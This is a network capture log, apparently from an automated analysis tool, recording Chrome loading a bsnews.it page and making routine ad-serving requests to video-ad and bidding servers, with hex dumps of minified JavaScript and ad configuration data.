2024-03-28 08:51:23 UTC	1252	IN	Data Raw: 63 2b 2b 29 62 5b 63 2d 61 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 63 5d 3b 72 65 74 75 72 6e 20 62 7d 3b 77 28 22 52 65 66 6c 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 73 61 3f 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 73 61 28 62 2c 63 29 2c 21 30 7d 63 61 74 63 68 28 64 29 7b 72 65 74 75 72 6e 21 31 7d 7d 3a 6e 75 6c 6c 7d 2c 22 65 73 36 22 29 3b 77 28 22 50 72 6f 6d 69 73 65 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 29 7b 74 68 69 73 2e 67 3d 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 63 28 66 29 7b 72 65 74 75 72 6e 20 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 3f 66 3a 6e 65 77 20 65 28 66 75 6e 63 74 69 Data Ascii: c++)b[c-a]=arguments[c];return b};w("Reflect.setPrototypeOf",function(a){return a?a:sa?function(b,c){try{return sa(b,c),!0}catch(d){return!1}}:null},"es6");w("Promise",function(a){function b(){this.g=null}function c(f){return f instanceof e?f:new e(functi
2024-03-28 08:51:23 UTC	1252	IN	Data Raw: 6b 29 7b 74 68 69 73 2e 73 28 6b 29 3b 72 65 74 75 72 6e 7d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 68 3f 74 68 69 73 2e 79 61 28 68 2c 66 29 3a 74 68 69 73 2e 46 28 66 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 74 68 69 73 2e 57 28 32 2c 66 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 46 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 74 68 69 73 2e 57 28 31 2c 66 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 57 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 29 7b 69 66 28 30 21 3d 74 68 69 73 2e 68 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 73 65 74 74 6c 65 28 22 2b 66 2b 22 2c 20 22 2b 68 2b 22 29 3a 20 50 72 6f 6d 69 73 65 20 61 6c 72 65 61 64 79 20 73 65 74 74 6c 65 64 20 69 6e 20 73 74 Data Ascii: k){this.s(k);return}"function"==typeof h?this.ya(h,f):this.F(f)};e.prototype.s=function(f){this.W(2,f)};e.prototype.F=function(f){this.W(1,f)};e.prototype.W=function(f,h){if(0!=this.h)throw Error("Cannot settle("+f+", "+h+"): Promise already settled in st
2024-03-28 08:51:23 UTC	1252	IN	Data Raw: 65 77 20 65 28 66 75 6e 63 74 69 6f 6e 28 72 2c 74 29 7b 6c 3d 72 3b 6e 3d 74 7d 29 3b 74 68 69 73 2e 5a 28 6b 28 66 2c 6c 29 2c 6b 28 68 2c 6e 29 29 3b 72 65 74 75 72 6e 20 70 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 63 61 74 63 68 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 74 68 65 6e 28 76 6f 69 64 20 30 2c 66 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 29 7b 66 75 6e 63 74 69 6f 6e 20 6b 28 29 7b 73 77 69 74 63 68 28 6c 2e 68 29 7b 63 61 73 65 20 31 3a 66 28 6c 2e 69 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 68 28 6c 2e 69 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 74 68 72 6f 77 20 45 72 72 6f 72 28 22 55 6e 65 78 70 65 63 74 65 64 20 73 74 61 74 65 3a 20 22 2b 6c 2e Data Ascii: ew e(function(r,t){l=r;n=t});this.Z(k(f,l),k(h,n));return p};e.prototype.catch=function(f){return this.then(void 0,f)};e.prototype.Z=function(f,h){function k(){switch(l.h){case 1:f(l.i);break;case 2:h(l.i);break;default:throw Error("Unexpected state: "+l.
2024-03-28 08:51:24 UTC	1252	IN	Data Raw: 3b 66 6f 72 28 76 61 72 20 68 3b 21 28 68 3d 66 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 68 3d 68 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 68 5b 30 5d 2c 68 5b 31 5d 29 7d 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 29 7b 69 66 28 21 63 28 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 57 65 61 6b 4d 61 70 20 6b 65 79 22 29 3b 69 66 28 21 6c 61 28 66 2c 64 29 29 7b 76 61 72 20 6b 3d 6e 65 77 20 62 3b 63 61 28 66 2c 64 2c 7b 76 61 6c 75 65 3a 6b 7d 29 7d 69 66 28 21 6c 61 28 66 2c 64 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 57 65 61 6b 4d 61 70 20 6b 65 79 20 66 61 69 6c 3a 20 22 2b 66 29 3b 66 5b 64 5d 5b 74 68 69 73 2e 67 5d 3d 68 3b 72 65 74 75 72 6e 20 74 68 69 73 7d Data Ascii: ;for(var h;!(h=f.next()).done;)h=h.value,this.set(h[0],h[1])}};g.prototype.set=function(f,h){if(!c(f))throw Error("Invalid WeakMap key");if(!la(f,d)){var k=new b;ca(f,d,{value:k})}if(!la(f,d))throw Error("WeakMap key fail: "+f);f[d][this.g]=h;return this}
2024-03-28 08:51:24 UTC	1252	IN	Data Raw: 79 3a 68 2c 76 61 6c 75 65 3a 6b 7d 2c 6c 2e 6c 69 73 74 2e 70 75 73 68 28 6c 2e 41 29 2c 74 68 69 73 5b 31 5d 2e 48 2e 6e 65 78 74 3d 6c 2e 41 2c 74 68 69 73 5b 31 5d 2e 48 3d 6c 2e 41 2c 74 68 69 73 2e 73 69 7a 65 2b 2b 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 68 3d 64 28 74 68 69 73 2c 68 29 3b 72 65 74 75 72 6e 20 68 2e 41 26 26 68 2e 6c 69 73 74 3f 28 68 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 68 2e 69 6e 64 65 78 2c 31 29 2c 68 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 68 2e 69 64 5d 2c 68 2e 41 2e 48 2e 6e 65 78 74 3d 68 2e 41 2e 6e 65 78 74 2c 68 2e 41 2e 6e 65 78 74 2e 48 3d 68 2e 41 2e 48 2c 68 2e 41 2e 68 Data Ascii: y:h,value:k},l.list.push(l.A),this[1].H.next=l.A,this[1].H=l.A,this.size++);return this};c.prototype.delete=function(h){h=d(this,h);return h.A&&h.list?(h.list.splice(h.index,1),h.list.length\|\|delete this[0][h.id],h.A.H.next=h.A.next,h.A.next.H=h.A.H,h.A.h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.4	50018	3.214.47.126	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:24 UTC	878	OUT	GET /ad/chnl?adCode=cpu32-8qlre&playerWidth=600&playerHeight=450&srcPageUrl=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&schain=1.0,1!sunmedia.tv,cf5f115c-45c0-42e6-88f5-1cc147412988,1,,,&gdpr=0&gdpr_consent=1&c1=T1,SM&_tur=T HTTP/1.1 Host: cpu32-zs9v8.ads.tremorhub.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tvid=5c99a009bd184d5ca3b7885003b720e3
2024-03-28 08:51:24 UTC	804	IN	HTTP/1.1 200 Date: Thu, 28 Mar 2024 08:51:24 GMT Content-Type: text/xml;charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx access-control-allow-origin: https://bsnews.it access-control-allow-credentials: true P3P: CP='This is not a P3P policy. See https://telaria.com/privacy-policy/' Set-Cookie: tvid=5c99a009bd184d5ca3b7885003b720e3; Domain=.tremorhub.com; Expires=Fri, 28-Mar-2025 14:39:44 GMT; Path=/; Secure; SameSite=None Set-Cookie: tvv=1; Domain=.tremorhub.com; Expires=Fri, 28-Mar-2025 14:39:44 GMT; Path=/; Secure; SameSite=None Set-Cookie: tvrg_61036=1,1711615884; Domain=.tremorhub.com; Expires=Thu, 28-Mar-2024 08:52:24 GMT; Path=/; Secure; SameSite=None x-tremorvideo-status: NO_AD Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache
2024-03-28 08:51:24 UTC	1145	IN	Data Raw: 34 37 32 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 56 41 53 54 20 76 65 72 73 69 6f 6e 3d 22 33 2e 30 22 20 78 6d 6c 6e 73 3a 74 3d 22 68 74 74 70 3a 2f 2f 74 72 65 6d 6f 72 68 75 62 2e 63 6f 6d 2f 73 73 70 22 20 74 3a 73 74 61 74 75 73 3d 22 4e 4f 5f 41 44 22 3e 3c 41 64 20 3e 3c 57 72 61 70 70 65 72 3e 3c 41 64 53 79 73 74 65 6d 3e 54 72 65 6d 6f 72 20 53 53 50 3c 2f 41 64 53 79 73 74 65 6d 3e 3c 56 41 53 54 41 64 54 61 67 55 52 49 3e 3c 21 5b 43 44 41 54 41 5b 68 74 74 70 73 3a 2f 2f 70 61 72 74 6e 65 72 73 2e 74 72 65 6d 6f 72 68 75 62 2e 63 6f 6d 2f 73 79 6e 63 6e 6f 61 64 3f 72 69 64 3d 33 30 66 32 65 31 30 30 63 33 38 30 34 36 38 35 62 38 39 62 63 34 33 32 65 37 66 Data Ascii: 472<?xml version="1.0" encoding="UTF-8"?><VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7f
2024-03-28 08:51:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.4	50039	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:24 UTC	1143	OUT	GET /player/?zid=AACAFQeVCHLlefG8&sid=01eeece05a1cab0c910a7df5dd4b4bb2&activation=onload&u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&ahd=1&schain=1.0,1!movingup.it,109,1,,,&player_session=%7B%22page_id%22%3A%22018e8441b31cc64c0ea7193c3ebea690%22%2C%22screen%22%3A%7B%22width%22%3A1280%2C%22height%22%3A1024%7D%2C%22page%22%3A%7B%22width%22%3A1263%2C%22height%22%3A13576%7D%2C%22viewport%22%3A%7B%22width%22%3A1280%2C%22height%22%3A907%7D%2C%22player_size%22%3A%7B%22width%22%3A535%2C%22height%22%3A301%7D%7D&sc=1&gdpr=0&cmp=unavailable&dd=bsnews.it HTTP/1.1 Host: ads.viralize.tv Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:24 UTC	725	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:24 GMT Content-Type: application/json; charset=utf-8 Vary: Accept-Encoding Vary: Origin server: uvicorn server: Unknown access-control-allow-origin: https://bsnews.it access-control-allow-credentials: true set-cookie: vr_uid=NzY5NWIzYWUtYTFjZC00NjhhLWE1MTgtYzc3MzNjYWVhNGVm\|1711615884\|94eda8e1184d8826c1eadd57bb7c2d1ee7b65411; Domain=.viralize.tv; expires=Fri, 25 Apr 2025 08:51:24 GMT; HttpOnly; Path=/; SameSite=None; Secure set-cookie: u-profile=\|AiVPZQ3y1b34953; expires=Fri, 25 Apr 2025 08:51:24 GMT; HttpOnly; Path=/; SameSite=None; Secure Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close Transfer-Encoding: chunked
2024-03-28 08:51:24 UTC	1252	IN	Data Raw: 64 36 61 0d 0a 7b 22 69 6d 70 72 65 73 73 69 6f 6e 22 3a 7b 22 63 72 65 61 74 69 76 69 74 79 22 3a 7b 22 76 69 64 65 6f 73 22 3a 5b 5d 2c 22 74 68 75 6d 62 6e 61 69 6c 73 22 3a 5b 5d 2c 22 64 75 72 61 74 69 6f 6e 22 3a 30 2c 22 73 69 74 65 6c 6f 6f 70 22 3a 7b 22 73 63 65 6e 65 73 22 3a 5b 5d 7d 7d 2c 22 70 72 69 63 69 6e 67 22 3a 7b 22 64 65 6d 61 6e 64 5f 70 61 79 5f 65 76 65 6e 74 22 3a 6e 75 6c 6c 2c 22 73 75 70 70 6c 79 5f 70 61 79 5f 65 76 65 6e 74 22 3a 6e 75 6c 6c 2c 22 63 6f 6e 74 65 6e 74 5f 70 61 79 5f 65 76 65 6e 74 22 3a 6e 75 6c 6c 7d 2c 22 70 6c 75 67 69 6e 73 22 3a 5b 5d 2c 22 66 6f 72 6d 61 74 22 3a 7b 22 63 6f 64 65 22 3a 22 74 68 75 6d 62 73 74 72 65 61 6d 2d 61 75 74 6f 70 6c 61 79 22 2c 22 63 6f 6e 74 72 6f 6c 6c 65 72 22 3a 22 6f 76 Data Ascii: d6a{"impression":{"creativity":{"videos":[],"thumbnails":[],"duration":0,"siteloop":{"scenes":[]}},"pricing":{"demand_pay_event":null,"supply_pay_event":null,"content_pay_event":null},"plugins":[],"format":{"code":"thumbstream-autoplay","controller":"ov
2024-03-28 08:51:24 UTC	1252	IN	Data Raw: 70 70 6c 69 63 61 74 69 6f 6e 22 3a 7b 22 6e 61 6d 65 22 3a 6e 75 6c 6c 2c 22 76 65 72 73 69 6f 6e 22 3a 6e 75 6c 6c 7d 2c 22 69 73 5f 70 72 65 76 69 65 77 22 3a 66 61 6c 73 65 2c 22 69 73 5f 74 65 73 74 22 3a 66 61 6c 73 65 2c 22 70 72 65 76 69 65 77 5f 70 75 62 6c 69 73 68 65 72 22 3a 6e 75 6c 6c 2c 22 73 61 76 65 5f 64 61 74 61 22 3a 66 61 6c 73 65 2c 22 70 75 62 5f 70 6c 61 74 66 6f 72 6d 22 3a 6e 75 6c 6c 7d 2c 22 70 61 72 61 6d 73 22 3a 7b 22 67 63 69 64 22 3a 6e 75 6c 6c 2c 22 65 6e 61 62 6c 65 5f 61 75 74 6f 5f 66 61 6c 6c 62 61 63 6b 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 66 75 6c 6c 5f 76 69 65 77 61 62 69 6c 69 74 79 22 3a 6e 75 6c 6c 2c 22 65 6e 61 62 6c 65 5f 66 75 6c 6c 5f 76 69 65 77 61 62 69 6c 69 74 79 5f 63 6f 6e 74 65 6e 74 22 3a Data Ascii: pplication":{"name":null,"version":null},"is_preview":false,"is_test":false,"preview_publisher":null,"save_data":false,"pub_platform":null},"params":{"gcid":null,"enable_auto_fallback":true,"enable_full_viewability":null,"enable_full_viewability_content":
2024-03-28 08:51:24 UTC	937	IN	Data Raw: 75 70 2e 69 74 2c 31 30 39 2c 31 2c 2c 2c 21 76 69 72 61 6c 69 7a 65 2e 63 6f 6d 2c 31 31 37 32 2c 31 2c 2c 2c 22 7d 2c 22 7a 6f 6e 65 22 3a 7b 22 7a 69 64 22 3a 22 41 41 43 41 46 51 65 56 43 48 4c 6c 65 66 47 38 22 2c 22 66 6f 72 6d 61 74 5f 66 61 6d 69 6c 79 22 3a 22 6f 75 74 73 74 72 65 61 6d 22 2c 22 65 6e 61 62 6c 65 5f 63 6f 6e 74 65 6e 74 5f 74 69 74 6c 65 22 3a 74 72 75 65 2c 22 70 61 75 73 61 62 6c 65 5f 61 64 73 22 3a 66 61 6c 73 65 2c 22 76 69 64 65 6f 5f 72 65 73 6f 6c 75 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6c 6f 67 6f 22 3a 6e 75 6c 6c 2c 22 63 6f 6c 6f 72 5f 66 72 61 6d 65 22 3a 6e 75 6c 6c 2c 22 63 6f 6c 6f 72 5f 75 69 22 3a 6e 75 6c 6c 2c 22 65 6e 61 62 6c 65 5f 64 61 72 6b 5f 6d 6f 64 65 22 3a 6e 75 6c 6c 2c 22 61 64 76 61 6e 63 65 64 5f Data Ascii: up.it,109,1,,,!viralize.com,1172,1,,,"},"zone":{"zid":"AACAFQeVCHLlefG8","format_family":"outstream","enable_content_title":true,"pausable_ads":false,"video_resolution":null,"logo":null,"color_frame":null,"color_ui":null,"enable_dark_mode":null,"advanced_
2024-03-28 08:51:24 UTC	1252	IN	Data Raw: 31 30 30 30 0d 0a 74 66 63 64 3d 30 26 6e 70 61 3d 30 26 73 7a 3d 31 78 31 25 37 43 34 30 30 78 33 30 30 25 37 43 36 34 30 78 33 36 30 25 37 43 36 34 30 78 34 38 30 26 67 64 66 70 5f 72 65 71 3d 31 26 6f 75 74 70 75 74 3d 76 61 73 74 26 75 6e 76 69 65 77 65 64 5f 70 6f 73 69 74 69 6f 6e 5f 73 74 61 72 74 3d 31 26 65 6e 76 3d 76 70 26 69 6d 70 6c 3d 73 26 63 6f 72 72 65 6c 61 74 6f 72 3d 31 37 31 31 36 31 35 38 38 34 26 70 6c 63 6d 74 3d 32 26 76 70 6d 75 74 65 3d 31 22 7d 2c 7b 22 6f 72 69 67 69 6e 22 3a 22 61 64 6e 65 74 77 6f 72 6b 22 2c 22 67 63 69 64 22 3a 22 59 57 52 75 58 7a 45 77 4e 44 63 35 70 5f 49 32 34 57 69 32 30 51 4d 3d 22 2c 22 74 65 63 68 22 3a 22 61 75 74 6f 22 2c 22 6d 61 78 5f 72 65 71 75 65 73 74 5f 61 74 74 65 6d 70 74 73 22 3a 31 2c Data Ascii: 1000tfcd=0&npa=0&sz=1x1%7C400x300%7C640x360%7C640x480&gdfp_req=1&output=vast&unviewed_position_start=1&env=vp&impl=s&correlator=1711615884&plcmt=2&vpmute=1"},{"origin":"adnetwork","gcid":"YWRuXzEwNDc5p_I24Wi20QM=","tech":"auto","max_request_attempts":1,
2024-03-28 08:51:24 UTC	1252	IN	Data Raw: 31 30 39 2c 31 2c 2c 2c 21 73 68 6f 77 68 65 72 6f 65 73 2e 63 6f 6d 2c 31 31 37 32 2c 31 2c 2c 2c 22 7d 7d 2c 7b 22 6f 72 69 67 69 6e 22 3a 22 61 64 6e 65 74 77 6f 72 6b 22 2c 22 67 63 69 64 22 3a 22 59 57 52 75 58 7a 45 79 4e 6a 45 33 52 6c 4f 44 4d 73 43 39 43 64 77 3d 22 2c 22 74 65 63 68 22 3a 22 61 75 74 6f 22 2c 22 6d 61 78 5f 72 65 71 75 65 73 74 5f 61 74 74 65 6d 70 74 73 22 3a 31 2c 22 65 6e 61 62 6c 65 5f 66 6f 72 63 65 5f 66 75 6c 6c 76 69 65 77 22 3a 66 61 6c 73 65 2c 22 74 6f 74 61 6c 5f 74 69 6d 65 6f 75 74 22 3a 31 35 30 30 30 2c 22 70 72 65 62 69 64 22 3a 7b 22 62 69 64 64 65 72 22 3a 22 70 75 62 6d 61 74 69 63 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 70 75 62 6c 69 73 68 65 72 49 64 22 3a 22 31 35 36 39 36 32 22 2c 22 61 64 53 6c 6f 74 22 Data Ascii: 109,1,,,!showheroes.com,1172,1,,,"}},{"origin":"adnetwork","gcid":"YWRuXzEyNjE3RlODMsC9Cdw=","tech":"auto","max_request_attempts":1,"enable_force_fullview":false,"total_timeout":15000,"prebid":{"bidder":"pubmatic","params":{"publisherId":"156962","adSlot"
2024-03-28 08:51:24 UTC	1252	IN	Data Raw: 22 6d 61 78 5f 72 65 71 75 65 73 74 5f 61 74 74 65 6d 70 74 73 22 3a 31 2c 22 65 6e 61 62 6c 65 5f 66 6f 72 63 65 5f 66 75 6c 6c 76 69 65 77 22 3a 66 61 6c 73 65 2c 22 74 6f 74 61 6c 5f 74 69 6d 65 6f 75 74 22 3a 31 35 30 30 30 2c 22 70 72 65 62 69 64 22 3a 7b 22 62 69 64 64 65 72 22 3a 22 72 75 62 69 63 6f 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 61 63 63 6f 75 6e 74 49 64 22 3a 31 36 35 36 38 2c 22 73 69 74 65 49 64 22 3a 35 31 33 32 36 38 2c 22 7a 6f 6e 65 49 64 22 3a 33 30 38 30 36 31 38 2c 22 62 69 64 43 70 6d 41 64 6a 75 73 74 6d 65 6e 74 22 3a 31 2e 31 35 7d 7d 7d 2c 7b 22 6f 72 69 67 69 6e 22 3a 22 61 64 6e 65 74 77 6f 72 6b 22 2c 22 67 63 69 64 22 3a 22 59 57 52 75 58 7a 45 77 4f 54 63 32 68 32 6e 78 44 47 79 66 50 64 59 3d 22 2c 22 74 65 63 68 Data Ascii: "max_request_attempts":1,"enable_force_fullview":false,"total_timeout":15000,"prebid":{"bidder":"rubicon","params":{"accountId":16568,"siteId":513268,"zoneId":3080618,"bidCpmAdjustment":1.15}}},{"origin":"adnetwork","gcid":"YWRuXzEwOTc2h2nxDGyfPdY=","tech
2024-03-28 08:51:24 UTC	348	IN	Data Raw: 73 74 26 75 6e 76 69 65 77 65 64 5f 70 6f 73 69 74 69 6f 6e 5f 73 74 61 72 74 3d 31 26 65 6e 76 3d 76 70 26 69 6d 70 6c 3d 73 26 63 6f 72 72 65 6c 61 74 6f 72 3d 6a 64 6c 64 4f 78 4b 39 50 68 22 7d 2c 7b 22 6f 72 69 67 69 6e 22 3a 22 61 64 6e 65 74 77 6f 72 6b 22 2c 22 67 63 69 64 22 3a 22 59 57 52 75 58 7a 45 79 4d 7a 49 31 47 67 4f 73 53 39 76 44 53 69 55 3d 22 2c 22 74 65 63 68 22 3a 22 68 74 6d 6c 35 22 2c 22 6d 61 78 5f 72 65 71 75 65 73 74 5f 61 74 74 65 6d 70 74 73 22 3a 31 2c 22 65 6e 61 62 6c 65 5f 66 6f 72 63 65 5f 66 75 6c 6c 76 69 65 77 22 3a 66 61 6c 73 65 2c 22 74 6f 74 61 6c 5f 74 69 6d 65 6f 75 74 22 3a 31 35 30 30 30 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 70 75 62 61 64 73 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f Data Ascii: st&unviewed_position_start=1&env=vp&impl=s&correlator=jdldOxK9Ph"},{"origin":"adnetwork","gcid":"YWRuXzEyMzI1GgOsS9vDSiU=","tech":"html5","max_request_attempts":1,"enable_force_fullview":false,"total_timeout":15000,"url":"https://pubads.g.doubleclick.net/
2024-03-28 08:51:24 UTC	1252	IN	Data Raw: 31 30 30 30 0d 0a 69 74 26 74 66 63 64 3d 30 26 6e 70 61 3d 30 26 73 7a 3d 34 30 30 78 33 30 30 26 67 64 66 70 5f 72 65 71 3d 31 26 6f 75 74 70 75 74 3d 76 61 73 74 26 75 6e 76 69 65 77 65 64 5f 70 6f 73 69 74 69 6f 6e 5f 73 74 61 72 74 3d 31 26 65 6e 76 3d 76 70 26 69 6d 70 6c 3d 73 26 63 6f 72 72 65 6c 61 74 6f 72 3d 6e 37 39 76 51 6f 36 71 6f 35 22 7d 2c 7b 22 6f 72 69 67 69 6e 22 3a 22 61 64 6e 65 74 77 6f 72 6b 22 2c 22 67 63 69 64 22 3a 22 59 57 52 75 58 7a 45 79 4e 54 59 7a 4a 44 49 62 4c 37 4f 56 7a 48 38 3d 22 2c 22 74 65 63 68 22 3a 22 68 74 6d 6c 35 22 2c 22 6d 61 78 5f 72 65 71 75 65 73 74 5f 61 74 74 65 6d 70 74 73 22 3a 31 2c 22 65 6e 61 62 6c 65 5f 66 6f 72 63 65 5f 66 75 6c 6c 76 69 65 77 22 3a 66 61 6c 73 65 2c 22 74 6f 74 61 6c 5f 74 69 Data Ascii: 1000it&tfcd=0&npa=0&sz=400x300&gdfp_req=1&output=vast&unviewed_position_start=1&env=vp&impl=s&correlator=n79vQo6qo5"},{"origin":"adnetwork","gcid":"YWRuXzEyNTYzJDIbL7OVzH8=","tech":"html5","max_request_attempts":1,"enable_force_fullview":false,"total_ti
2024-03-28 08:51:24 UTC	1252	IN	Data Raw: 22 3a 31 2c 22 65 6e 61 62 6c 65 5f 66 6f 72 63 65 5f 66 75 6c 6c 76 69 65 77 22 3a 66 61 6c 73 65 2c 22 74 6f 74 61 6c 5f 74 69 6d 65 6f 75 74 22 3a 31 35 30 30 30 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 73 65 72 76 69 63 65 2e 62 69 64 6c 61 62 2e 61 69 2f 3f 63 3d 76 26 6d 3d 74 61 67 26 70 6c 61 63 65 6d 65 6e 74 49 64 3d 31 37 38 26 76 69 64 65 6f 74 79 70 65 3d 56 50 41 49 44 26 77 50 6c 61 79 65 72 3d 35 33 35 26 68 50 6c 61 79 65 72 3d 33 30 31 26 69 70 3d 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 26 75 61 3d 4d 6f 7a 69 6c 6c 61 25 32 46 35 2e 30 2b 25 32 38 57 69 6e 64 6f 77 73 2b 4e 54 2b 31 30 2e 30 25 33 42 2b 57 69 6e 36 34 25 33 42 2b 78 36 34 25 32 39 2b 41 70 70 6c 65 57 65 62 4b 69 74 25 32 46 35 33 37 2e 33 36 2b 25 32 38 4b 48 54 Data Ascii: ":1,"enable_force_fullview":false,"total_timeout":15000,"url":"https://service.bidlab.ai/?c=v&m=tag&placementId=178&videotype=VPAID&wPlayer=535&hPlayer=301&ip=102.165.48.43&ua=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHT
2024-03-28 08:51:24 UTC	1252	IN	Data Raw: 69 67 69 6e 22 3a 22 61 64 6e 65 74 77 6f 72 6b 22 2c 22 67 63 69 64 22 3a 22 59 57 52 75 58 7a 45 79 4d 54 41 79 4e 57 53 73 6a 77 72 57 78 58 38 3d 22 2c 22 74 65 63 68 22 3a 22 61 75 74 6f 22 2c 22 6d 61 78 5f 72 65 71 75 65 73 74 5f 61 74 74 65 6d 70 74 73 22 3a 31 2c 22 65 6e 61 62 6c 65 5f 66 6f 72 63 65 5f 66 75 6c 6c 76 69 65 77 22 3a 66 61 6c 73 65 2c 22 74 6f 74 61 6c 5f 74 69 6d 65 6f 75 74 22 3a 31 35 30 30 30 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 73 65 72 76 69 63 65 2e 62 69 64 6c 61 62 2e 61 69 2f 3f 63 3d 76 26 6d 3d 74 61 67 26 70 6c 61 63 65 6d 65 6e 74 49 64 3d 31 37 38 26 76 69 64 65 6f 74 79 70 65 3d 56 50 41 49 44 26 77 50 6c 61 79 65 72 3d 35 33 35 26 68 50 6c 61 79 65 72 3d 33 30 31 26 69 70 3d 31 30 32 2e 31 36 35 2e 34 Data Ascii: igin":"adnetwork","gcid":"YWRuXzEyMTAyNWSsjwrWxX8=","tech":"auto","max_request_attempts":1,"enable_force_fullview":false,"total_timeout":15000,"url":"https://service.bidlab.ai/?c=v&m=tag&placementId=178&videotype=VPAID&wPlayer=535&hPlayer=301&ip=102.165.4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.4	50040	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
